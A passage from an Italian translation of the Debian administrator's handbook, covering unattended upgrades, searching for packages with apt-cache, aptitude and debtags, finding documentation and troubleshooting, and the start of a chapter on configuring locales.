Combinando gli elementi precedenti, è possibile progettare un piccolo ma piuttosto affidabile script che può gestire gli aggiornamenti automatici.

Esempio 6.5. Script di aggiornamento non interattivo

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

IN PRATICA Il caso della Falcot Corp

I computer della Falcot sono un sistema eterogeneo, con macchine che hanno funzioni diverse. Gli amministratori sceglieranno la soluzione migliore per ogni computer.

In pratica, i server che eseguono Bullseye sono configurati con la "combinazione miracolosa" qui sopra e sono mantenuti aggiornati automaticamente. Solo i server più critici (i firewall, per esempio) sono impostati con apticron, così che gli aggiornamenti avvengono solo sotto la supervisione di un amministratore.

Le postazioni di lavoro negli uffici dei servizi amministrativi usano anch'esse Bullseye, ma sono equipaggiate con gnome-packagekit, in modo che gli utenti attivino autonomamente gli aggiornamenti. Il motivo dietro questa decisione è che se gli aggiornamenti avvenissero senza una specifica azione, il comportamento del computer potrebbe cambiare inaspettatamente causando confusione negli utenti.

Nei laboratori, i pochi computer che usano Testing, per avere i vantaggi delle più recenti versioni del software, non sono neanch'essi aggiornati automaticamente. Gli amministratori configurano APT per preparare gli aggiornamenti ma non eseguirli; quando decidono di aggiornare (manualmente), la parte noiosa dell'aggiornamento della lista pacchetti e di scaricare i pacchetti verrà evitata, e gli amministratori possono concentrarsi sulla parte veramente utile.

6.10. Ricercare pacchetti

Con la grande e sempre crescente quantità di software in Debian, emerge un paradosso: Debian solitamente ha uno strumento per la maggior parte delle necessità, ma quel programma può essere veramente difficile da trovare fra la miriade di altri pacchetti. La mancanza di un modo appropriato per cercare (e trovare) il giusto programma è stata a lungo un problema. Fortunatamente, questo problema è stato quasi completamente risolto.

La ricerca più banale possibile è la ricerca con il nome esatto di un pacchetto. Se apt show pacchetto restituisce un risultato, allora quel pacchetto esiste. Sfortunatamente, questo richiede di conoscere o anche di indovinare il nome del pacchetto, e ciò non è sempre possibile.

SUGGERIMENTO Convenzioni per i nomi dei pacchetti

Alcune categorie di pacchetti hanno nomi basati su uno schema di denominazione convenzionale, conoscendo il sistema ci si può permettere a volte di indovinare i nomi dei pacchetti esatti. Ad esempio, per i moduli Perl, la convenzione dice che un modulo chiamato XML::Handler::Composer dovrebbe essere contenuto in un pacchetto libxml-handler-composer-perl. La libreria che consente l'uso del sistema gconf da Python è contenuta in python-gconf. Non è possibile definire uno schema generico per tutti i pacchetti, anche se di solito i manutentori dei pacchetti cercano di seguire la scelta degli sviluppatori originali.

Un modello di ricerca che ha un po' più successo è una ricerca di testo con testo semplice fra i nomi dei pacchetti, ma rimane molto limitato. In genere si possono trovare risultati cercando nelle descrizioni dei pacchetti: poiché ogni pacchetto ha una descrizione più o meno dettagliata, oltre al suo nome del pacchetto, una ricerca per parole chiave nelle descrizioni sarà spesso utile. apt-cache e axi-cache sono gli strumenti preferenziali per questo tipo di ricerca (vedere ALTERNATIVA axi-cache); per esempio, apt-cache search video restituirà un elenco di tutti i pacchetti il cui nome o descrizione contiene la parola "video".

Per ricerche più complesse, è necessario uno strumento più potente come aptitude. aptitude permette di cercare usando un'espressione logica basata sui campi dei metadati dei pacchetti. Per esempio, il seguente comando cerca i pacchetti il cui nome contiene kino, la cui descrizione contiene video e il cui nome del manutentore contiene paul:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1.1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,316 k Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2), libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4 (>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11 (>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1 Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386, kino:i386 Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386 Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

Il risultato mostra solo un pacchetto, kino, che soddisfa tutti e tre i criteri.

Anche queste ricerche con più criteri sono poco maneggevoli, il che spiega il motivo per cui non siano usate quanto potrebbero. È stato perciò sviluppato un nuovo sistema di etichettatura (tag in inglese) che fornisce un nuovo approccio alla ricerca. Ai pacchetti sono assegnate delle etichette che forniscono una classificazione tematica su varie aree, nota come "classificazione basata sulle sfaccettature". Nel caso di kino qui sopra, le etichette del pacchetto indicano che Kino è un software basato su Gnome che funziona sui dati video e il cui scopo principale è la modifica.

Sfogliare questa classificazione può aiutare a cercare un pacchetto che corrisponda alle esigenze note; anche se restituisce un numero (moderato) di risultati, il resto della ricerca può essere fatto manualmente. Per farlo, si può usare lo schema di ricerca ~G in aptitude, ma probabilmente è più facile navigare semplicemente nel sito dove sono gestite le etichette (tag in inglese) o usare il comando debtags:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

Se si selezionano le etichette works-with::video e use::editing, si ottengono una manciata di pacchetti, inclusi gli editor video kino e pitivi. Questo sistema di classificazione è destinato ad essere usato sempre di più col passare del tempo, e i gestori dei pacchetti forniranno gradualmente interfacce di ricerca efficienti basate su di esso.

Per riassumere, il migliore strumento per il lavoro dipende dalla complessità della ricerca che si desidera fare:

apt-cache permette solo la ricerca nei nomi e nelle descrizioni dei pacchetti, che è molto comodo quando si cerca un particolare pacchetto che corrisponde ad alcune parole chiave;

quando i criteri di ricerca includono anche relazioni tra i pacchetti o altri metadati come il nome del manutentore, sarà più utile synaptic;

quando è necessaria una ricerca basata su etichette, un buon strumento è packagesearch, un'interfaccia grafica dedicata alla ricerca dei pacchetti disponibili secondo diversi criteri (tra cui i nomi dei file in essi contenuti). Per l'uso dalla riga di comando, axi-cache sarà adatto allo scopo.

infine, quando le ricerche comportano espressioni complesse con operazioni logiche, lo strumento da scegliere sarà la sintassi per i modelli di ricerca di aptitude, che è piuttosto potente nonostante sia un po' oscura; funziona sia a riga di comando sia in modo interattivo.

Capitolo 7. Risoluzione dei problemi e reperimento delle principali informazioni

La qualità più importante di un amministratore è saper far fronte a qualsiasi situazione, nota o ignota. Questo capitolo suggerisce alcuni metodi che si spera permetteranno di isolare la causa di qualunque problema si possa incontrare, così da poterlo risolvere.

7.1. Fonti documentali

Prima di comprendere cosa sta relamente succedendo quando c'è un problema, bisogna conoscere il ruolo teorico giocato da ciascun programma coinvolto nel problema. Per fare questo, per avere la migliore visione si deve consultare la loro documentazione; ma dal momento che queste documentazioni molte e posso essere sparse in lungo e in largo, si dovrebbero conoscere tutti i posti in cui si potrebbero trovare.

7.1.1. Pagine di manuale

CULTURA RTFM

Questo acronimo sta per "Read the F**king Manual" ("Leggi il f**tuto manuale"), ma può anche esere esteso in una variante più gentile, "Read the Fine Manual" ("Leggi l'ottimo manuale"). Questa frase viene talvolta usata per dare risposte (laconiche) a domande fatte da novellini. È una risposta piuttosto brusca, e tradisce un certo fastidio nel rispondere a una domanda fatta da qualcuno che non si è neanche scomodato a leggere la documentazione. Qualcuno dice che questa risposta classica sia meglio di nessuna risposta (visto che indica che la documentazione contiene la risposta cercata), o di una risposta più prolissa e arrabbiata.

In ogni caso, se qualcuno risponde "RTFM", è bene non prendersela. Dal momento che questa risposta può essere considerata fastidiosa, forse sarebbe meglio evitarsela fin dall'inizio. Se l'informazione cercata non sta nel manuale, il che è possibile, sarebbe meglio dirlo, preferibilmente nella domanda iniziale. Si dovrebbero anche descrivere i vari passi compiuti personalmente per cercare informazioni prima di fare una domanda su un forum. Seguire le linee guida di Eric Raymond è un buon modo per evitare gli errori più comuni e ottenere risposte utili.

→ http://catb.org/~esr/faqs/smart-questions.html

Le pagine di manuale, sebbene relativamente laconiche, contengono una grande quantità di informazioni importanti. Daremo una rapida occhiata al comando per vederle fornito dal pacchetto man-db. Si deve scrivere semplicemente man pagina-di-manuale — di solito la pagina di manuale ha lo stesso nome del comando di cui si cerca la documentazione. Per esempio, per conoscere le possibili opzioni del comando cp, digitare il comando man cp al prompt di shell (vedere il riquadro FONDAMENTALE La shell, un interprete a riga di comando).

FONDAMENTALE La shell, un interprete a riga di comando

Un interprete a riga di comando, detto "shell", è un programma che esegue i comandi inseriti dall'utente o memorizzati in uno script. In modalità interattiva, visualizza un prompt (che di solito termina con $ per un utente normale o con # per l'amministratore), che indica che è pronto a ricevere un nuovo comando. Le basi sull'uso della shell sono descritte in Appendice B, Breve corso di recupero.

La shell predefinita e più comunemente usata è la bash (Bourne Again SHell), ma ce ne sono altre, fra cui dash, csh, tcsh e zsh.

Fra le altre cose, la maggior parte delle shell offrono aiuto (digitare help) ed assistenza durante l'inserimento da prompt, come il completamento dei nomi dei comandi o dei file (che di solito si attiva premendo il tasto tab) od il richiamo di comandi precedenti (gestione cronologia; cioè controllare la mappatura per "pagina su" e "pagina giù" in /etc/inputrc).

Le pagine di manuale non documentano solo i comandi ed i programmi accessibili dalla riga di comando, ma anche i file di configurazione, le chiamate di sistema, le funzioni di libreria e così via. A volte alcuni nomi possono collidere. Per esempio, il comando read della shell ha lo stesso nome della chiamata di sistema read. Per questo le pagine di manuale sono organizzate in sezioni numerate:

1

comandi eseguibili dalla riga di comando;

2

chiamate di sistema (funzioni fornite dal kernel);

3

funzioni di libreria (fornite dalle librerie di sistema);

4

dispositivi (sui sistemi Unix-like, questi sono file speciali, di solito posti nella directory /dev/);

5

file di configurazione (formati e convenzioni);

6

giochi;

7

insiemi di macro e standard;

8

comandi di amministrazione del sistema;

9

routine del kernel.

È possibile specificare la sezione della pagina di manuale che si sta cercando: per vedere la documentazione della chiamata di sistema read, si scriverà man 2 read. Quando non è esplicitamente specificata una sezione, verrà mostrata la prima sezione che ha una pagina di manuale col nome richiesto. Perciò, man shadow restituirà shadow(5) perché non ci sono pagine di manuale per shadow nelle sezioni da 1 a 4.

SUGGERIMENTO whatis

Se non si vuole guardare la pagina di manuale completa ma solo una breve descrizione per confermare che è ciò che si cerca, si scriva semplicemente whatis comando.

$ whatis scp scp (1) - OpenSSH secure file copy

Questa breve descrizione è inclusa nella sezione NOME all'inizio di tutte le pagine di manuale.

Ovviamente, se non si conoscono i nomi dei comandi, il manuale non sarà molto utile. Per questo scopo c'è il comando apropos, che aiuta a cercare all'interno delle pagine di manuale, o più precisamente nelle loro descrizioni brevi. Ogni pagina di manuale comincia in pratica con un riassunto di una riga. apropos, restituisce una lista di pagine di manuale che menzionano le parole chiave richieste. Con una scelta oculata, si può trovare il nome del comando che serve.

Esempio 7.1. Trovare cp con apropos

$ apropos "copy file" cp (1) - copy files and directories cp (1posix) - copy files cpio (1) - copy files to and from archives exec (1posix) - execute commands and open, close, or copy file descriptors install (1) - copy files and set attributes ntfscp (8) - copy file to an NTFS volume.

SUGGERIMENTO Sfogliare seguendo i collegamenti

Molte pagine di manuale hanno una sezione "VEDI ANCHE", di solito alla fine. Si riferisce ad altre pagine di manuale che trattano comandi simili oppure a documentazione esterna. In questo modo, è possibile trovare documentazione relativa a ciò che si stava cercando anche quando la prima scelta non è ottimale.

Il comando man non è l'unico modo di consultare le pagine di manuale; infatti, anche khelpcenter, konqueror (in KDE) e yelp (in GNOME) offrono questa possibilità. Esiste anche un'interfaccia web, fornita dal pacchetto man2html, che permette di vedere le pagine di manuale in un browser web. In un computer in cui è installato questo pacchetto, si può usare questo URL dopo aver seguito le istruzioni in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

Questa utilità richiede un server web. Per questo si dovrebbe installare questo pacchetto su uno dei propri server: tutti gli utenti della rete locale potrebbero beneficiare di questo servizio (comprese macchine non Linux) e così non si è obbligati a installare un server HTTP su ogni macchina. Se il proprio server è accessibile anche da altre reti, potrebbe essere opportuno restringere l'accesso a questo servizio solo agli utenti della rete locale.

Ultimo ma non meno importante, è possibile visualizzare tutte le pagine manuali disponibili in Debian (anche quelle che non sono installate sul computer) su manpages.debian.org. Esso offre ogni pagina di manuale in più versioni, una per ogni versione Debian.

→ https://manpages.debian.org

DEBIAN POLICY Pagine di manuale richieste

Debian richiede che ogni programma abbia una pagina di manuale. Se l'autore a monte non ne fornisce una, il manutentore del pacchetto Debian di solito scriverà una pagina minimale che quantomeno indirizzerà il lettore alla documentazione originale.

7.1.2. Documenti info

Il progetto GNU ha scritto manuali per la maggior parte dei suoi programmi in formato info; per questo motivo molte pagine di manuale rimandano alla corrispondente documentazione info. Questo formato offre alcuni vantaggi, ma il programma predefinito per visualizzare questi documenti (è chiamato info) è anche leggermente più complesso. Si farebbe bene ad usare invece pinfo (dal pacchetto pinfo).

La documentazione info ha una struttura gerarchica e se si invoca info senza parametri, verrà mostrata una lista dei nodi disponibili al primo livello. Di solito, i nodi riportano i nomi dei comandi corrispondenti.

Con pinfo è facile effettuare la navigazione tra questi nodi utilizzando i tasti freccia. In alternativa, è anche possibile utilizzare un browser grafico, che è molto più intuitivo. Inoltre, si possono utilizzare konqueror e yelp; il pacchetto info2www fornisce anche un'interfaccia web.

→ http://localhost/cgi-bin/info2www

Notare che il sistema info non permette traduzioni, al contrario del sistema di pagine man. Perciò i documenti info sono quasi sempre in Inglese. Tuttavia, quando si chiede al programma pinfo di visualizzare una pagina info non esistente, questo ricadrà sulla pagina man con lo stesso nome (se esiste), che potrebbe essere stata tradotta.

7.1.3. Documentazione specifica

Ogni pacchetto include la propria documentazione. Anche i programmi meno documentati in generale hanno un file README che contiene informazioni interessanti o importanti. Questa documentazione è installata nella directory /usr/share/doc/pacchetto/ (dove pacchetto rappresenta il nome del pacchetto). Se la documentazione è particolarmente grande, potrebbe non essere inclusa nel pacchetto principale del programma, ma piuttosto separata in un pacchetto dedicato che di solito di chiama pacchetto-doc. Di solito il pacchetto principale raccomanda il pacchetto con la documentazione, dimodoché è facile trovarla.

Nella directory /usr/share/doc/pacchetto/ ci sono inoltre alcuni file forniti da Debian che completano la documentazione specificando le peculiarità del pacchetto o dei miglioramenti rispetto a un'installazione tradizionale del software. Il file README.Debian indica inoltre tutti gli adattamenti fatti per aderire alla Policy di Debian. Il file changelog.Debian.gz permette all'utente di seguire le modifiche fatte al pacchetto nel tempo: è molto utile per cercare di capire cos'è cambiato fra due versioni installate che non hanno lo stesso comportamento. Infine, a volte è presente un file NEWS.Debian.gz che documenta i principali cambiamenti al programma che possono interessare direttamente l'amministratore (vedere Sezione 6.7.2, «Gestire i problemi dopo un aggiornamento»).

7.1.4. Siti web

Nella maggior parte dei casi, i programmi di software libero hanno siti web usati per la distribuzione dello stesso e per unire la comunità dei loro sviluppatori ed utenti. Questi siti sono spesso ricchi di informazioni importanti in varie forme: documentazione ufficiale, FAQ (Frequently Asked Questions, domande frequenti), archivi delle mailing list, ecc.. I problemi che si possono incontrare sono spesso già stati oggetto di molte domande; le FAQ o gli archivi delle mailing list potrebbero contenere una soluzione. Una buona padronanza dei motori di ricerca risulterà molto preziosa per trovare rapidamente le pagine di interesse (restringendo la ricerca al dominio o sotto-dominio internet dedicato al programma). Se la ricerca restituisce troppe pagine o se i risultati non sono attinenti a ciò che si cerca, si può aggiungere la parola chiave debian per limitare i risultati e trovare le informazioni pertinenti.

SUGGERIMENTO Dall'errore alla soluzione

Se il software restituisce un messaggio d'errore molto specifico, si può inserirlo nel motore di ricerca (fra doppie virgolette, ", per cercare non le singole parole chiave, ma la frase completa). Nella maggior parte dei casi, i primi collegamenti restituiti conterranno la risposta cercata.

In altri casi si otterranno errori molto generici, come "Permesso negato". In questo caso, è meglio controllare i permessi degli elementi coinvolti (file, ID utente, gruppi, ecc.).

Se non si conosce l'indirizzo del sito web del software, ci sono diversi modi per ottenerlo. Prima di tutto, controllare se esiste un campo Homepage nelle meta-informazioni del pacchetto (apt show pacchetto). In alternativa, la descrizione del pacchetto potrebbe contenere un collegamento al sito web ufficiale del programma. Se non è indicato alcun URL, cercare nel file /usr/share/doc/pacchetto/copyright. Il manutentore Debian, di solito, indica in questo file dove è stato preso il codice sorgente del programma ed è probabile che questo sia il sito web cercato. Qualora la ricerca sia ancora infruttuosa, consultare una directory di software libero, come la Free Software Directory di FSF, oppure utilizzando direttamente un motore di ricerca, come Google, DuckDuckGo, Yahoo, ecc.

→ https://directory.fsf.org/wiki/Main_Page

È anche possibile controllare il wiki di Debian, un sito web collaborativo dove chiunque, anche i nuovi arrivati, possono dare suggerimenti direttamente dai loro browser. È usato tanto dagli sviluppatori per delineare e specificare i loro progetti, quanto dagli utenti che condividono la loro conoscenza scrivendo documenti in modo collaborativo.

→ https://wiki.debian.org/

7.1.5. Esercitazioni (HOWTO)

Un HOWTO è un documento che descrive, in termini concreti e passo dopo passo, "come" raggiungere un obiettivo predefinito. Gli obiettivi trattati sono abbastanza variegati, ma spesso di natura tecnica: per esempio, impostare il mascheramento degli IP, configurare un RAID software, installare un server Samba ecc. Questi documenti spesso cercano di coprire tutti i potenziali problemi che potrebbero verificarsi durante l'implementazione di una determinata tecnologia.

Molte di queste guide sono gestite dal Linux Documentation Project (LDP), il cui sito web ospita tutti questi documenti:

→ https://www.tldp.org/

Debian fornisce anche tutorial per i suoi utenti:

→ https://www.debian.org/doc/

Questi documenti dovrebbero essere presi con le molle. Sono spesso vecchi di diversi anni; le informazioni che contengono sono a volte obsolete. Questo fenomeno è ancora più frequente per le loro traduzioni, poiché gli aggiornamenti dopo la pubblicazione di una nuova versione, non sono né sistematici né istantanei. Inoltre, oggigiorno, molte guide sono fornite dai blogger, che condividono la loro soluzione. Purtroppo, sono spesso prive di informazioni importanti, ad esempio il motivo per cui una configurazione è stata scelta rispetto ad un'altra o perché qualche opzione è stata abilitata o disabilitata. Poiché i blog e la creazione di siti web personali hanno reso così facile la condivisione, esistono molte di queste brevi guide, ma solo poche di esser sono attive e ben curate. Ciò può rendere difficile trovare quella "giusta" per voi. Tutto questo fa parte delle gioie di lavorare in un ambiente di volontari e senza vincoli…

7.2. Procedure comuni

Lo scopo di questa sezione è di presentare qualche suggerimento generale su certe operazioni che un amministratore dovrà effettuare di frequente. Queste procedure ovviamente non copriranno ogni caso possibile in modo esauriente, ma possono servire come punti di partenza per i casi più difficili.

SCOPERTA Documentazione in altre lingue

Della documentazione tradotta in lingua non inglese è spesso disponibile in un pacchetto separato col nome del pacchetto corrispondente seguito da -lingua (dove lingua è il codice ISO di due lettere per la lingua).

Per esempio, il pacchetto debian-reference-fr è la versione francese delle guide di riferimento per Debian (inizialmente scritta in inglese da Osamu Aoki) ed il pacchetto manpages-de contiene la versione tedesca delle pagine di manuale per l'utilizzo di GNU/Linux.

7.2.1. Configurare un programma

Per configurare un pacchetto sconosciuto, bisogna procedere per passi. Prima di tutto, si deve leggere cosa ha documentato il manutentore del pacchetto. Leggendo /usr/share/doc/pacchetto/README.Debian si apprenderanno modifiche specifiche fatte per semplificare l'uso del software. Ciò, a volte, è essenziale per capire le differenze rispetto al comportamento originale del programma, così come descritto nella documentazione generale, come gli howto. A volte questo file descrive in dettaglio gli errori più comuni per evitare di perdere tempo su problemi noti.

Quindi, si dovrebbe guardare la documentazione ufficiale del software — riferirsi alla Sezione 7.1, «Fonti documentali» per identificare le varie fonti di informazione esistenti. Il comando dpkg -L pacchetto dà una lista di file inclusi nel pacchetto; è quindi possibile identificare rapidamente la documentazione disponibile (oltre ai file di configurazione, situati in /etc/). dpkg -s pacchetto fornisce l'intestazione del pacchetto e mostra i possibili pacchetti raccomandati o suggeriti, fra cui si può trovare la documentazione o l'utilità che potrebbe facilitare la configurazione del software.

Infine, i file di configurazione sono spesso auto-documentati con molti commenti che spiegano in dettaglio i possibili valori di ogni impostazione di configurazione, a volte al punto tale che basta scegliere una riga da attivare fra quelle disponibili. In alcuni casi, nella directory /usr/share/doc/pacchetto/examples/ sono forniti degli esempi di file di configurazione che possono servire come base per i propri file di configurazione.

DEBIAN POLICY Posizione degli esempi

Tutti gli esempi devono essere installati nella directory /usr/share/doc/pacchetto/examples/. Possono essere un file di configurazione, il sorgente di un programma (un esempio di uso di una libreria) o uno script di conversione di dati che l'amministratore può usare in certi casi (ad esempio per inizializzare un database). Se l'esempio è specifico per una particolare architettura, deve essere installato in /usr/lib/pacchetto/examples/ e si può creare un collegamento che punta a quel file nella directory /usr/share/doc/pacchetto/examples/.

7.2.2. Monitorare l'attività dei demoni

Capiere cos'è un demone è qualcosa di più complicato, dal momento che non interagisce direttamente con l'amministratore. Per controllare se un demone è effettivamente in funzione, bisogna fare delle prove. Ad esempio, per controllare il demone Apache (server web), si deve fare una prova con una richiesta HTTP.

FONDAMENTALE Demone

Un demone è un programma non invocato esplicitamente dall'utente e che rimane sullo sfondo, aspettando che si realizzi una cerca condizione prima di eseguire un compito. Molti programmi server sono demoni, un termine che spiega perché la lettera "d" è spesso presente alla fine del loro nome (sshd, smtpd, httpd ecc.).

Per consentire queste prove, ogni demone in generale registra tutto ciò che fa, così come ogni errore che incontra, in quelli che vengono chiamati "file di registro" o "registri di sistema". I registri sono salvati in /var/log/ o una sua sottodirectory. Per sapere il nome esatto di un file di registro per ciascun demone, vedere la sua documentazione. Nota: una sola prova non sempre è sufficiente, se questa non copre tutti i possibili casi d'uso; alcuni problemi si manifestano solo in circostanze particolari.

STRUMENTO Il demone rsyslogd

rsyslogd è speciale: raccoglie i log (messaggi interni di sistema) che gli vengono inviati da altri programmi. A ciascun messaggio è associato un sottosistema (e-mail, kernel, autenticazione, ecc.) ed una priorità; rsyslogd elabora queste due informazioni per decidere cosa fare. Il messaggio di log può essere scritto in diversi file e/o inviato ad una console di amministrazione. I dettagli sono definiti nel file di configurazione /etc/rsyslog.conf (documentato nella pagina di manuale omonima fornita dal pacchetto rsyslog-doc package).

Alcune funzioni C, specializzate nell'invio di log, semplificano l'uso del demone rsyslogd. Tuttavia alcuni demoni gestiscono da soli i propri file di registro (è il caso, ad esempio, di samba, che implementa le cartelle di rete Windows su Linux).

Si noti che quando systemd è in uso, iregistri sono in realtà raccolti da systemd prima di essere trasmetto a rsyslogd. Sono quindi disponibili anche tramite il giornale di systemd e possono essere consultati con journalctl (vedi Sezione 9.1.1, «Il sistema di init systemd» per dettagli).

Qualunque operazione preventiva comincia consultando regolarmente i log più importanti del server. Si possono così diagnosticare i problemi ancor prima che vengano segnalati da utenti insoddisfatti. Talvolta, quest'ultimi aspettano che i problemi si ripetano per diversi giorni prima di segnalarli. In molti casi, si può usare uno strumento specifico per analizzare il contenuto dei file di log più grandi. In particolare, esistono utilità di questo tipo per i server web (come analog, awstats, awffull per Apache), per i server FTP, i server proxy/cache, i firewall, i server di posta elettronica, i server DNS e anche per i server di stampa. Altri strumenti come logcheck (un programma trattato in Capitolo 14, Sicurezza), scansionano questi file alla ricerca di anomalie da segnalare.

7.2.3. Chiedere aiuto su una lista di posta

Se dopo svariate ricerche non si è ancora individuata la causa di un problema, è possibile chiedere aiuto ad altre persone, magari più esperte. Questo è proprio lo scopo della mailing list <debian-user@lists.debian.org> e di quelle in lingua specifica <debian-user-lang@lists.debian.org>. Come ogni comunità, anche questa ha delle regole che devono essere seguite. Prima di porre domande, controllare che il problema non sia già stato trattato da discussioni recenti in lista o dalla documentazione ufficiale.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

FONDAMENTALE Si applica la netiquette

In generale, per tutta la corrispondenza sulle liste di posta elettronica, si devono seguire le regole della netiquette. Questo termine si riferisce ad un insieme di regole di buon senso, dalla comune cortesia a errori che dovrebbero essere evitati.

→ https://tools.ietf.org/html/rfc1855

Inoltre, per ogni canale di comunicazione gestita dal progetto Debian, bisogna attenersi al Codice di Condotta di Debian:

→ https://www.debian.org/code_of_conduct

Soddisfatte queste due condizioni, si può pensare a descrivere il problema alla lista. Includere quante più informazioni pertinenti possibili: quali prove sono state effettuate, che documentazione è stata consultata, come si è tentato di diagnosticare il problema, i pacchetti coinvolti o quelli che potrebbero esserlo, ecc. Controllare il Sistema di Tracciamento dei Bug di Debian (BTS, descritto nel riquadro Sezione 1.3.2.1, «Segnalazione di bug») alla ricerca di problemi simili fancendo menzione dei risultati e fornendo i collegamenti ai bug trovati. Il BTS comincia su:

→ https://bugs.debian.org/

Più cortesia e precisione sono state usate, maggiori sono le possibilità di ricevere una risposta completa, o, almeno, parziale. Se si ricevono informazioni importanti via posta elettronica privata, sarebbe meglio riassumerle in pubblico in modo che anche altri possano trarne beneficio. Permettere agli archivi della lista, che vengono ricercati tramite vari motori di ricerca, di mostrare la soluzione per altri che potrebbero avere la stessa domanda.

7.2.4. Segnalare un bug quando un problema è troppo difficile

Se tutti gli sforzi per risolvere un problema falliscono, è possibile che la soluzione non sia responsabilità propria e che il problema sia dovuto a un bug nel programma. In questo caso, la procedura corretta è di segnalare il bug a Debian o direttamente agli sviluppatori a monte. Per farlo, isolare il più possibile il problema e creare una situazione minimale di prova in cui questo possa essere riprodotto. Se si sa quale programma è la causa apparente del problema, si può trovare il pacchetto corrispondente usando il comandodpkg -S file_in_questione. Controllare il sistema di tracciamento dei bug (https://bugs.debian.org/pacchetto) per assicurarsi che il bug non sia già stato segnalato. È possibile inviare la propria segnalazione, usando il comando reportbug, includendo quante più informazioni possibile, soprattutto una descrizione completa di quei casi minimali di prova che permetteranno a chiunque di ricreare il bug.

Quanto visto in questo capitolo aiuta ad affrontare concretamente problemi come quelli che si potrebbero incontrare durante i prossimi capitoli. Li si utilizzi ogni volta che è necessario!

Capitolo 8. Configurazione di base: rete, account, stampa, ...

Un computer installato da zero con debian-installer è pensato per essere il più possibile funzionante, ma molti servizidevono ancora essere configurati. Inoltre è sempre meglio conoscere come modificare certi elementi di configurazione impostati durante il processo di installazione iniziale.

Questo capitolo copre tutto quanto viene normalmente considerato con "configurazione di base": rete, lingue e localizzazioni, utenti e gruppi, stampa, punti di montaggio, ecc.

8.1. Configurare il sistema per un'altra lingua

Se il sistema è stato installato inizialmente in Italiano, la macchina avrà già probabilmente l'Italiano come lingue predefinita. È comunque meglio conoscere cosa fa l'installatore per impostare la lingua, cosicché, in caso di necessità, la si possa cambiare.

STRUMENTO Il comando locale mostra la configurazione attuale

Il comando locale riepiloga la configurazione attuale di vari parametri della localizzazione (formato della data, formato dei numeri, ecc.), sotto forma di gruppo di variabili d'ambiente standard dedicate alla modifica dinamica di queste impostazioni.

8.1.1. Impostare la Lingua Predefinita

Una localizzazione è un gruppo di impostazioni regionali. Include non solo la lingua per i testi, ma anche il formato di visualizzazione dei numeri, date, orari e valori monetari, così come i metodi di comparazione alfabetici (per l'ordinamento alfabetico, per l'inclusione dei caratteri accentati, dove previsto). Anche se ognuno di questi parametri può essere specificato indipendentemente dagli altri, generalmente viene utilizzata una localizzazione, la quale è un insieme coerente di valori per questi parametri corrispondente ad una "regione" nel senso più ampio del termine. Le localizzazioni sono generalmente indicate con la forma codice-lingua_CODICE-PAESE, alcune volte con un suffisso che specifica l'insieme di caratteri e la codifica da utilizzare. Questo consente di considerare anche le differenze tipografiche e di idioma tra differenti regioni con una lingua comune.

CULTURA Insiemi di caratteri

Storicamente ogni localizzazione ha un "insieme di caratteri" associati (gruppo di caratteri noti) ed una "codifica" preferita (la rappresentazione interna al computer per i caratteri).

Le codifiche più popolari per le lingue a base-latina sono limitate a 256 caratteri perchè si è scelto di utilizzare un singolo byte per ogni carattere. Poichè 256 caratteri non sono stati suffcienti a coprire tutte le lingue europee, sono state necessarie più codifiche, ed è così che si è arrivati fino a ISO-8859-1 (noto anche come “Latin 1”) e ISO-8859-15 (noto anche come “Latin 9”), tra gli altri.

Lavorare con le lingue straniere spesso implicava passaggi continui tra diverse codifiche ed insiemi di caratteri. Inoltre scrivere documenti multi-lingua portava ad altri problemi, quasi irrisolvibili. Unicode (un super-catalogo che include quasi tutti i sistemi di scrittura utilizzati da tutte le lingue del mondo) è stato creato per risolvere questo problema. Una delle codifiche Unicode, UTF-8, conserva tutti i 128 simboli ASCII (codici a 7 bit), ma gestisce gli altri caratteri in modo differente. Gli altri sono preceduti da una sequenza di caratteri di escape con una lunghezza variabile, che definisce implicitamente la lunghezza del carattere. Questo consente di codificare tutti i caratteri Unicode tramite una sequenza di uno o più byte. Il suo uso si è diffuso in quanto è la codifica predefinita nei documenti XML.

Questa è la codifica che generalmente dovrebbe essere utilizzata, ed è quella predefinita sui sitemi Debian.

Il pacchetto locales include tutti gli elementi richiesti per il corretto funzionamento della "localizzazione" per varie applicazioni. Durante l'installazione, saranno poste alcune domande per scegliere le lingue da supportare. Questo set può essere modificato, in qualsiasi momento, eseguendo dpkg-reconfigure locales come root.

